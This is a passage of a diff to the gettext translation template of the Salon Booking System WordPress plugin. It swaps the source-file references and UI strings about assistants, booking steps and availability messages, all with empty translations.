..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:9\n+msgid \"Next step\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61\n-msgid \"equal to\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:136\n+msgid \"NO\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62\n-msgid \"more than\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166\n+msgid \"No\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:121, src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:121, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:121, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:58\n-msgid \"Valid to\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57\n+msgid \"no account will be created\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:138, views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:96\n-msgid \"Remove rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:153\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:171\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:340\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:153\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:171\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:340\n+msgid \"No assistant required\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:151\n-msgid \"Add rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:483\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:483\n+msgid \"No assistants\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon.php:44\n-msgid \"Log-in\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_attendants.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_m_attendants.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_attendants.php:104\n+msgid \"\"\n+\"No assistants available for the selected time\u002Fslot - please choose another \"\n+\"one\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon.php:42, views\u002Fsms\u002Fpending.php:8, views\u002Fsms\u002Fremind.php:45, views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135\n-msgid \"Hi\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85\n+msgid \"No assistants available for this service at \"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon.php:50, views\u002Ftrial\u002Fshortcode.php:6, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Ftrial\u002Fshortcode.php:6, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fshortcode.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Ftrial\u002Fshortcode.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Ftrial\u002Fshortcode.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Ftrial\u002Fshortcode.php:6\n-msgid \"Book an appointment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256\n+msgid \"No assistants found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_assistant.php:39, src\u002FSLN\u002FPostType\u002FAttendant.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:143\n-msgid \"Skills\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257\n+msgid \"No assistants found in trash\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_assistant.php:49, views\u002Fshortcode\u002Fsalon_booking_services.php:63, views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84\n-msgid \"Book now\"\n+#. %s will be replaced by the service name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:586\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:586\n+#, php-format\n+msgid \"No attendants available for %s at this time\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_date.php:37, views\u002Fshortcode\u002Fsalon_date.php:70, views\u002Fshortcode\u002Fsalon_services.php:34, views\u002Fshortcode\u002Fsalon_services.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_services.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_services.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_services.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_services.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_services.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_services.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_services.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_services.php:70\n-msgid \"Warning:\"\n+#. %s will be replaced by the service name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1003\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1003\n+#, php-format\n+msgid \"\"\n+\"No attendants available for %s. Please try a different date or contact us.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_date.php:71, views\u002Fshortcode\u002Fsalon_services.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71\n-msgid \"Cookies are disabled in your browser.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1095\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1095\n+msgid \"\"\n+\"No attendants available for the selected services. Please try a different \"\n+\"date or contact us.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_date.php:72, views\u002Fshortcode\u002Fsalon_services.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72, 